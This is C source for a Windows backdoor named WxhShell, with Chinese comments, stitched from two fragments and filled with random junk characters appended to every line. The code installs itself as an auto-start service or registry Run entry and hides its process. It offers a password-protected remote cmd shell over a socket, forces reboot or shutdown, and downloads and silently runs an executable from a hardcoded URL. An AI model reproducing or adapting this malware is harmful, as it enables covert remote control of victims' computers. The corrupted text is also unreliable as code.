    if(Boot(REBOOT)) qQO*:_ezzk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \F\7*=xk  
    else { $=  2[Q  
    closesocket(wsh); hE'7M;  
    ExitThread(0); v)nv"o[  
    } {#`wW`U^  
    break; R~hIoaiN  
    } Z?3B1o9  
  // 关机 Yl$ @/xAa  
  case 'd': { l[m*csDk"  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); H1KXAy`&  
    if(Boot(SHUTDOWN)) R[fQ$` M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c'Z)uquvP  
    else { @Gw]cm  
    closesocket(wsh); 6"}F KRR  
    ExitThread(0); EM +! ph  
    } 0b8=94a{>  
    break; yv>uzb`N  
    } wN/v-^2  
  // 获取shell DAORfFG74  
  case 's': { u(? U[pe[  
    CmdShell(wsh); bJR\d0Z  
    closesocket(wsh); GkU$Z @  
    ExitThread(0); Zp6VH  
    break; eWD!/yr|  
  } /l3Oi@\  
  // 退出 Gi$\th,  
  case 'x': { KZ^>_K&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H$Pf$D$  
    CloseIt(wsh); '.S02=/  
    break; {Dy,|}7s  
    } b'R]DS{8  
  // 离开 .W2w/RayC  
  case 'q': { \ :q@I]2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); QyZ' %T5J  
    closesocket(wsh); XH/!A`ZK  
    WSACleanup(); ]*U; }  
    exit(1); Q`Pe4CrWvu  
    break; HJpx,NU'  
        } (dO0`wfM  
  } V|HO*HiB3  
  } (I>SqM Y  
|o(te  
  // 提示信息 f.oY:3h:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xUa9>=JU{  
} UCFFF%  
  } ';D>Z ?l  
s=E6HP@q  
  return; K>XZrt  
} J#iuF'%Ds  
EUH9R8)  
// shell模块句柄 s*i,Ph  
int CmdShell(SOCKET sock) Lk^bzW>f  
{ Tkp"mT v?<  
STARTUPINFO si; 4mX]JH`UTe  
ZeroMemory(&si,sizeof(si)); L5 Ai  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; dWwb}r(ky  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fLSDt(c',  
PROCESS_INFORMATION ProcessInfo; d& v 7l  
char cmdline[]="cmd"; J<Ki;_=I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O(.eHZ=  
  return 0; h2:TbQ  
} EKsOj&ZiJ  
HAs/f#zAk6  
// 自身启动模式 Py+ B 2G|  
int StartFromService(void) q$}J/w(,  
{ u3 &# UN  
typedef struct =_Z.x&fi  
{ j"zW0g!S  
  DWORD ExitStatus; ;>X;cZMd  
  DWORD PebBaseAddress; +G7[(Wz(z  
  DWORD AffinityMask; 7suT26C  
  DWORD BasePriority; j-FMWEp  
  ULONG UniqueProcessId; JPgFTr  
  ULONG InheritedFromUniqueProcessId; #E<~WpP  
}   PROCESS_BASIC_INFORMATION; Cgf4E{\U!  
1UB.2}/:  
PROCNTQSIP NtQueryInformationProcess; B/hQvA;(  
?A*<Z%}1?  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5C*- v,hF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uLI;_,/:  
< mFU T  
  HANDLE             hProcess; qk0cf~ gz  
  PROCESS_BASIC_INFORMATION pbi; 9~K+h/  
6vJ S"+ <  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [+}0K{(O=  
  if(NULL == hInst ) return 0; XJq]l6a:  
jgkY^l  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -ntQqHs  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); /~+Fzz  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 0Q cJ Ek  
nI+.De~  
  if (!NtQueryInformationProcess) return 0; @|'9nPern  
kKC] n   
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  Sb)}  
  if(!hProcess) return 0; {sq:vu@NC  
a/%qn-i|p  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "#f5jH  
-h8Z@r~a/  
  CloseHandle(hProcess); b1."mT!p  
G2|G}#E  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); , BZ(-M  
if(hProcess==NULL) return 0; 0+e 0<'  
2:yXeSeA  
HMODULE hMod; M%SNq|Lo  
char procName[255]; nKTi"2dm  
unsigned long cbNeeded; a785xSUV  
v`6vc)>8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !l6ht {  
Un5 AStG  
  CloseHandle(hProcess); @bnw$U`+  
&{q'$oF  
if(strstr(procName,"services")) return 1; // 以服务启动 }XCh>LvX  
 8#1o  
  return 0; // 注册表启动 cnG>EG  
} Sm|TDH  
Upg8t'%{op  
// 主模块 n+vv %  
int StartWxhshell(LPSTR lpCmdLine) 5fmQ+2A C1  
{ ?PV@WrU>B  
  SOCKET wsl; $8[JL \  
BOOL val=TRUE; "`a,/h'  
  int port=0; )$*B  
  struct sockaddr_in door; L,,*8  
rQpQ qBu  
  if(wscfg.ws_autoins) Install(); f&$$*a  
jD6T2K7i  
port=atoi(lpCmdLine); +p]@b  
:x?G [x=  
if(port<=0) port=wscfg.ws_port; w2r* $Q  
ZHj7^y@P  
  WSADATA data; 2xBh  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 7p{uRSE4._  
]2[\E~^KU  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   B.gEV*@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); CT<z1)#@^  
  door.sin_family = AF_INET; " #U-*Z7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cBCC/n  
  door.sin_port = htons(port); %8P6l D  
byZj7q5&Q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X|R"8cJ  
closesocket(wsl); GW.Y= S  
return 1; ]RF(0;  
} )}i2x:\|_  
=">0\#  
  if(listen(wsl,2) == INVALID_SOCKET) { lr -+|>M)  
closesocket(wsl); =65XT^  
return 1; }me`(zp  
} `bd9N !K  
  Wxhshell(wsl); i+I1h=  
  WSACleanup(); Gxt6]+r  
!4YmaijeN  
return 0; P(L iH  
0]GenT"   
}  y'^b{q@  
/<o?T{z<-  
// 以NT服务方式启动 FJW,G20L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) i&)OJy  
{ 8>X]wA6q  
DWORD   status = 0; m*KI'~#$%  
  DWORD   specificError = 0xfffffff; G12o?N0p  
4'N 4,3d$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; g12.4+  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; T[J8zL O  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; "VMb1Zhf  
  serviceStatus.dwWin32ExitCode     = 0; b.)jJLWv@  
  serviceStatus.dwServiceSpecificExitCode = 0; =%b1EY k  
  serviceStatus.dwCheckPoint       = 0; .j"@7#tW  
  serviceStatus.dwWaitHint       = 0; u|Ng>lU  
~cfvL*~5  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  ]l  
  if (hServiceStatusHandle==0) return; SUsdX[byb  
iU# "G" &  
status = GetLastError(); }0OQm?xh  
  if (status!=NO_ERROR) bhfC2@  
{ '\"5qB  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 81)i>]  
    serviceStatus.dwCheckPoint       = 0; (>*L-&-  
    serviceStatus.dwWaitHint       = 0; gaE8\JSr  
    serviceStatus.dwWin32ExitCode     = status; =}SLQdT  
    serviceStatus.dwServiceSpecificExitCode = specificError; Hig.` P  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); W/%9=g$m  
    return; )k4&S{=  
  } ~!/agLwY  
 ?H8dyQ5"  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ]tmMk7  
  serviceStatus.dwCheckPoint       = 0; veS) j?4  
  serviceStatus.dwWaitHint       = 0; 7<X!Xok  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); lKS 2OOYC`  
} : TqeVf  
NK%Ok  
// 处理NT服务事件,比如:启动、停止 FbW$H]C$  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;i ?R+T  
{ iD>H{1 h  
switch(fdwControl) bj?=\u  
{ <J.q[fd1*  
case SERVICE_CONTROL_STOP: (Hs,Tj  
  serviceStatus.dwWin32ExitCode = 0; V&lx0Dy  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 6Z@T /"mU(  
  serviceStatus.dwCheckPoint   = 0; \[wbJ  
  serviceStatus.dwWaitHint     = 0; Ghar hJ>v  
  { d8p5a C+E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =(v'8?--  
  } zV"'-iP  
  return; <." @H<-`*  
case SERVICE_CONTROL_PAUSE: LeNSjxB  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; m'uFj !  
  break; "@Qg]#]JH  
case SERVICE_CONTROL_CONTINUE: !=6\70lJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v:NQrN  
  break; q/qig5Ou  
case SERVICE_CONTROL_INTERROGATE: h)z2#qfc  
  break; #E_<}o  
}; #+|0o-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); U/h@Q\~U  
} STPRC&7;  
D|'[[=  
// 标准应用程序主函数 ,z> w^_  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1L=)93,M  
{ mR8tW"Z2  
yI%q3lB}^  
// 获取操作系统版本 /.sho\a  
OsIsNt=GetOsVer(); &{ZUY3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4Wa*Pcj  
y'O<*~C(X  
  // 从命令行安装 EWOa2^%}Z\  
  if(strpbrk(lpCmdLine,"iI")) Install(); vXG?8Q  
Xu|2@?l9  
  // 下载执行文件 0(o.[% Ye  
if(wscfg.ws_downexe) { h]j>S  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;f} ']2  
  WinExec(wscfg.ws_filenam,SW_HIDE); pfFHuS~  
} |ZOdfr4uW  
9xFI%UOb#  
if(!OsIsNt) { (,cG+3r ]  
// 如果时win9x,隐藏进程并且设置为注册表启动 C3(h j  
HideProc(); :Vw{ l B  
StartWxhshell(lpCmdLine); 9VSi2p*  
} 'p[B`Ft3F  
else \[ 4y  
  if(StartFromService()) 0: B%,n UM  
  // 以服务方式启动 Sar1NkD#  
  StartServiceCtrlDispatcher(DispatchTable); .=9d3uWJ/  
else g1Osd7\o  
  // 普通方式启动 GH`y-Ul'K  
  StartWxhshell(lpCmdLine); 4^:$|\?]  
(ki= s+W-  
return 0; {P )O#  
} YoWXHg!U  
/NxuNi;5  
O9AFQ)u   
Ep3I*bQ Y  
=========================================== aS~~*UHW  
n98sY+$-z  
~Bi%8G  
YWL7.Y>%5  
8i)9ho<  
z|\n^ZK=  
" (/X ]9  
@3bVjQ`4f  
#include <stdio.h> l \|sHn/  
#include <string.h> Hlpt zez  
#include <windows.h> ]0W64cuT  
#include <winsock2.h> e&!8UYP  
#include <winsvc.h> 5Sb-Bn  
#include <urlmon.h> ]ZNFrpq  
Q8$;##hzt  
#pragma comment (lib, "Ws2_32.lib") {uJ"%  
#pragma comment (lib, "urlmon.lib") F_4Et  
E0+~c1P-  
#define MAX_USER   100 // 最大客户端连接数 U\M9sTqo  
#define BUF_SOCK   200 // sock buffer s^Xs*T@~h  
#define KEY_BUFF   255 // 输入 buffer t]?{"O1rC  
]bYmM@  
#define REBOOT     0   // 重启 }{Ra5-PY  
#define SHUTDOWN   1   // 关机 +[4y)y`  
U]g9t<jD  
#define DEF_PORT   5000 // 监听端口 P!!O~P  
hFxT@I~  
#define REG_LEN     16   // 注册表键长度 <`wOy [e  
#define SVC_LEN     80   // NT服务名长度 ln8es{q  
%,zHS?)l  
// 从dll定义API 0Gu?;]GSv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); W>: MK-_ J  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); NQqNBI?cr  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); `,4@;j<^@  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Bx6,U4o*  
>Psq" Xj  
// wxhshell配置信息 a2/Mf   
struct WSCFG { fzvyR2 I  
  int ws_port;         // 监听端口 OXn-!J90P  
  char ws_passstr[REG_LEN]; // 口令 #rNc+  
  int ws_autoins;       // 安装标记, 1=yes 0=no UT[{NltH  
  char ws_regname[REG_LEN]; // 注册表键名 (]PH2<3t  
  char ws_svcname[REG_LEN]; // 服务名 ;' H\s  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 [JV?Mdzu  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 S\!vDtD@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 s!>9od6^  
int ws_downexe;       // 下载执行标记, 1=yes 0=no W=OryEV?  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" +;M 5Sp  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0)ZLdF_6  
m9+?>/R  
}; sf:IA%.4t  
emB<{kOkw  
// default Wxhshell configuration o2q-x2uB  
struct WSCFG wscfg={DEF_PORT, T8Q_JQ  
    "xuhuanlingzhe", Hi*|f!,H?  
    1, B]E c  
    "Wxhshell", #^R@EZ  
    "Wxhshell", M^>l>?#rl  
            "WxhShell Service", lcgG5/82  
    "Wrsky Windows CmdShell Service", L4bYVTm|  
    "Please Input Your Password: ", VT=gb/W6)a  
  1, PsD)]V9%:  
  "http://www.wrsky.com/wxhshell.exe", 0rm(i*Q  
  "Wxhshell.exe" o[i*i<jv-  
    }; dDD5OnWmJ  
Mc!LC .8  
// 消息定义模块 (U_HX2f  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";  yK$aVK"  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b#R$P]dr=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; pS}IU{#;  
char *msg_ws_ext="\n\rExit."; Upcx@zJ  
char *msg_ws_end="\n\rQuit."; #,1z=/d.  
char *msg_ws_boot="\n\rReboot..."; lNl.lI\t)y  
char *msg_ws_poff="\n\rShutdown..."; axq~56"7E  
char *msg_ws_down="\n\rSave to "; MUGoW;}v )  
RDjw|V  
char *msg_ws_err="\n\rErr!"; lnm@DWhf  
char *msg_ws_ok="\n\rOK!"; nwC*w`4  
J@}PySq  
char ExeFile[MAX_PATH]; GlRjbNW?Q  
int nUser = 0; 'cQ,;y  
HANDLE handles[MAX_USER]; 5SmJ'zFO  
int OsIsNt; dQ9W40g1  
1eEML"  
SERVICE_STATUS       serviceStatus; }pnp._j  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; z( }w|  
MI(;0   
// 函数声明 ^S?f"''y3  
int Install(void); tE <?L  
int Uninstall(void); Ei\>gXTH1-  
int DownloadFile(char *sURL, SOCKET wsh); iA[o;D#  
int Boot(int flag); @+Sr~:K  
void HideProc(void); -KH"2q  
int GetOsVer(void); o?j8"^!7  
int Wxhshell(SOCKET wsl); c 3o3i  
void TalkWithClient(void *cs); (@qS  
int CmdShell(SOCKET sock); AE~@F4MK  
int StartFromService(void); dqo-.,=  
int StartWxhshell(LPSTR lpCmdLine); 1~3dX[&  
:Ea|FAeK8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ;Bj&9DZd  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); a1/+C$ oB  
k;2.g$)W[c  
// 数据结构和表定义 * fj`+J  
SERVICE_TABLE_ENTRY DispatchTable[] = uOy/c 8`  
{ v?}0h5  
{wscfg.ws_svcname, NTServiceMain}, 0a#v}w^ *  
{NULL, NULL} pV_zePyOn  
}; ^;.u }W  
:N"&o(^  
// 自我安装 .:B>xg~2  
int Install(void) );6f8H@G  
{ ?%Tx% dB  
  char svExeFile[MAX_PATH]; m<kJH<!j  
  HKEY key; V2M4g  
  strcpy(svExeFile,ExeFile); 1 A0BM  
~J> ;l s1  
// 如果是win9x系统,修改注册表设为自启动 Y4swMN8Bq  
if(!OsIsNt) { }Nwp{["}]L  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %7w8M{I R3  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); vw(ecs^C  
  RegCloseKey(key); 0Q?%B6g$m[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { *" C9F/R  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #s15AyKz5  
  RegCloseKey(key); =Y6W Qf  
  return 0; '5[(QM5Gi&  
    } QjG/H0*mP  
  } +PI}$c-|`  
} OVU)t]  
else { dv3u<XM~  
VBF:MAA  
// 如果是NT以上系统,安装为系统服务 G$&jP:2q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); \[.qN  
if (schSCManager!=0) 5|N`:h'9M  
{ ^Jq('@  
  SC_HANDLE schService = CreateService 6NhGTLI  
  ( %dq%+yw{%m  
  schSCManager, F kf4R5Y?  
  wscfg.ws_svcname, d|7LCW+HW  
  wscfg.ws_svcdisp, K[0z$T\  
  SERVICE_ALL_ACCESS, D15-pz|Q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , u a_w5o7  
  SERVICE_AUTO_START, g\@.qKF  
  SERVICE_ERROR_NORMAL, S.1>bs2  
  svExeFile, ztX$kX:_m  
  NULL, ;v2eAe@7  
  NULL, 0)~c)B:5  
  NULL, x9a\~XL>a  
  NULL, i20y\V os?  
  NULL knph549  
  ); LP|YW*i=IQ  
  if (schService!=0) rxyeix  
  { JS%LJ _J  
  CloseServiceHandle(schService); w5~j|c=_W  
  CloseServiceHandle(schSCManager); B@i%B+qCLv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); "-dA\,G  
  strcat(svExeFile,wscfg.ws_svcname); q>>1?hzA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { cc_'Kv!  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ~LV]cX2J(  
  RegCloseKey(key); >dm9 YfQ  
  return 0; Q1x&Zm1v  
    } Lw_|o[I}  
  } Wkjp:`(-$r  
  CloseServiceHandle(schSCManager); .Wy'  
} C~@m6K  
} &Mudu/KTr  
H)gc"aRe;Y  
return 1; E?P>s T3B  
} 2y;vX|lX]  
~&qvS  
// 自我卸载 su1fsoL0  
int Uninstall(void) Dv/7 w[F  
{ 2gZp O9  
  HKEY key; <,n:w[+!`P  
4m91XD  
if(!OsIsNt) { nQ+5jGP1  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { O_4B> )zd  
  RegDeleteValue(key,wscfg.ws_regname); jaKW[@<  
  RegCloseKey(key); x< 2]UB`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { R<6y7?]bZ  
  RegDeleteValue(key,wscfg.ws_regname); Qg(;>ops  
  RegCloseKey(key); }8aqSD<:  
  return 0; SE^l`.U@  
  } *PL&CDu=)  
} d4\JM 65  
} 6fo" k+S  
else { w(S~}'Sg*P  
iCg%$h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1v`|mU}i,  
if (schSCManager!=0) E7? n'!=  
{ j<0 ;JAL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); {2P18&=  
  if (schService!=0) q mFbq<&  
  { M kJBKS  
  if(DeleteService(schService)!=0) { qAH^BrJ  
  CloseServiceHandle(schService); $6wSqH?q  
  CloseServiceHandle(schSCManager); M57<e`m  
  return 0; 4}/gV)  
  } f)z(9JJL  
  CloseServiceHandle(schService); EwFq1~  
  } `P !idg*  
  CloseServiceHandle(schSCManager); Aixe?A_x  
} Q. O4R_H  
} (Q% @]  
*P`wuXn}  
return 1; GAYn*'<  
} K&NH?  
;)CN=J!  
// 从指定url下载文件 1 @t.J>  
int DownloadFile(char *sURL, SOCKET wsh) ki@C}T5  
{ u_9c>  
  HRESULT hr; ui#nN   
char seps[]= "/"; .Hqq!&  
char *token; o)@nnqa  
char *file; kG!hqj  
char myURL[MAX_PATH]; xlwf @XW  
char myFILE[MAX_PATH]; Nr2,m"R{  
F9K0  
strcpy(myURL,sURL); (P-^ PNz&  
  token=strtok(myURL,seps); PLs`Ci|`  
  while(token!=NULL) tR'RB@kJ  
  { y _"V=:  
    file=token; ez[x8M>  
  token=strtok(NULL,seps); {._'Q[  
  } t7x<=rW7u  
a}FyJp  
GetCurrentDirectory(MAX_PATH,myFILE); 6#CswSpS  
strcat(myFILE, "\\"); J.4U;A5  
strcat(myFILE, file); ]9/A=p?J@  
  send(wsh,myFILE,strlen(myFILE),0); 8YlZ({f  
send(wsh,"...",3,0); H OWpTu(  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); r1%{\<   
  if(hr==S_OK) %?gG-R  
return 0; a"U3h[;$y  
else !fn%Q'S  
return 1; H<i!C|AF  
E:**gvfq  
} l5 H5!$3~  
+)q ,4+K%}  
// 系统电源模块 @#,/6s7?  
int Boot(int flag) c8uw_6#r(D  
{ 1[Yl8W%pj  
  HANDLE hToken; :g63*d+/G  
  TOKEN_PRIVILEGES tkp; 67Pmnad  
Lv%t*s2$/  
  if(OsIsNt) { GyQFR?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); /K&9c !]$C  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); O5p$ A @  
    tkp.PrivilegeCount = 1; ~s HdOMw  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ky[Cx!81C  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); oOI0q_bf  
if(flag==REBOOT) { z[_Y,I  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) #1'q'f:7 &  
  return 0; (b#M4ho*f  
} }'x)e  
else { K a(B&.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '{ =F/q  
  return 0; P`Ku. ONQ  
} Q34u>VkdQI  
  } wQy~5+LE  
  else { ,%IP27bPW  
if(flag==REBOOT) { "*X\'LPs=  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) g{}<ptx]  
  return 0; 8el6z2  
} E<3xv;v8r  
else { `0]N#G T  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xtv%C  
  return 0; ' abEY  
} }?mSMqnB  
} mq4Zy3H   
@PNgqjd  
return 1; t`Z3*?UqI  
} xJ/)*?@+  
=T2SJ)  
// win9x进程隐藏模块 aanS^t0  
void HideProc(void) oz=ULPZ%  
{ 7_s+7x =  
B(s^(__]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8TB|Y  
  if ( hKernel != NULL ) m"Mj3Z:  
  { 8h=m()Eu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oZY|o0/9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Ss 5@n  
    FreeLibrary(hKernel); = >TU  
  } Bcv{Y\x;ko  
Aj cKz  
return; nn:'<6"oV  
} dX1jn;7  
>fP;H}S6  
// 获取操作系统版本 +?"F=.SZ  
int GetOsVer(void) KQ]sUNH  
{ Ir>4-@  
  OSVERSIONINFO winfo; s;oe Qa}TB  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); hv#$Zo<  
  GetVersionEx(&winfo); nrev!h  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ^ fC2o%3^  
  return 1; zKJQel5  
  else \w1XOm [)  
  return 0; `x _(EZ  
} Psx"[2iZm  
N(4y}-w$  
// 客户端句柄模块 }gX hN"  
int Wxhshell(SOCKET wsl) JGvhw,g  
{ wMCg`rk  
  SOCKET wsh; BSHS)_xs  
  struct sockaddr_in client; #p*uk  
  DWORD myID; 9Xg7=(#  
FvVC 2Z  
  while(nUser<MAX_USER) =Y|( }92  
{ |X>'W"Mn  
  int nSize=sizeof(client); dYD;Z<l  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ve"(}z  
  if(wsh==INVALID_SOCKET) return 1; @hA`f4^  
$6UU58>n  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ; ,sNRES3  
if(handles[nUser]==0) m0^ "fMV  
  closesocket(wsh); %(&ja_oO  
else H0"'jd  
  nUser++; J'ce?_\?PY  
  } (SW6?5  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +i!HMyM  
y(g]:#  
  return 0; M.y!J  
} %"(HjanH  
J2x}@p  
// 关闭 socket 9b=0 4aWHm  
void CloseIt(SOCKET wsh) Z|*#)<| ~  
{ dO z|CfUhI  
closesocket(wsh); E]n]_{BN]  
nUser--; HEFgEYlO  
ExitThread(0); T8g\_m  
} O0'|\:my  
O6?{@l  
// 客户端请求句柄 IYq#|^)5+  
void TalkWithClient(void *cs) R3og]=uFzm  
{ AC <2.i_  
U { 0~&  
  SOCKET wsh=(SOCKET)cs; a_S`$(7k  
  char pwd[SVC_LEN]; &Cj~D$kDEu  
  char cmd[KEY_BUFF]; P,m+^,  
char chr[1]; _PPC?k{z!  
int i,j; I^f|U  
{"~[F2qR  
  while (nUser < MAX_USER) { &S+*1<|`K  
z6J12tu  
if(wscfg.ws_passstr) { K!ogpd&X&  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $#n9C79Z@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RjviHd#DXn  
  //ZeroMemory(pwd,KEY_BUFF); oh$"?N7n1  
      i=0; xa'U_]m  
  while(i<SVC_LEN) { }a!|n4|`  
E)m \KSwh  
  // 设置超时 WGA&Lr  
  fd_set FdRead; 46)[F0,$r  
  struct timeval TimeOut; C TG^lms  
  FD_ZERO(&FdRead); V2?{ebx`  
  FD_SET(wsh,&FdRead); yc]_?S>9  
  TimeOut.tv_sec=8; nHbi{,3  
  TimeOut.tv_usec=0; T=pP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _J \zj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); U3B&3K} ~  
"zNS6I?rzE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); qh6b;ae\x  
  pwd=chr[0]; r1IvA^X  
  if(chr[0]==0xd || chr[0]==0xa) { *jc >?)k  
  pwd=0; ,2Ed^!`  
  break; ZG H 7_K  
  } rMJ@oc  
  i++; ~.^:?yCA  
    } m=E/um[D  
:kI[Pf!z  
  // 如果是非法用户,关闭 socket vgtAJp+p*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ;sYDs71y  
} P]^8Enp  
B0yGr\KJ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); . mO8 ~Z  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XN t` 4$L  
Q?j '4  
while(1) { 0&NM=~  
CZ] Dm4  
  ZeroMemory(cmd,KEY_BUFF); mB0`>?#i  
R&t2   
      // 自动支持客户端 telnet标准   <75x@!  
  j=0; MwQtf(_  
  while(j<KEY_BUFF) { NMw5ixl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); c %Y *XJ'  
  cmd[j]=chr[0]; @6DKw;Q  
  if(chr[0]==0xa || chr[0]==0xd) { 4Yok,<  
  cmd[j]=0; dbEXl m  
  break; -}T7F+  
  } J| &aqY  
  j++; -,/6 Wn'j  
    } # {k$Fk  
Gl{'a1  
  // 下载文件 qOpwl*?x+  
  if(strstr(cmd,"http://")) { tOnOzD  
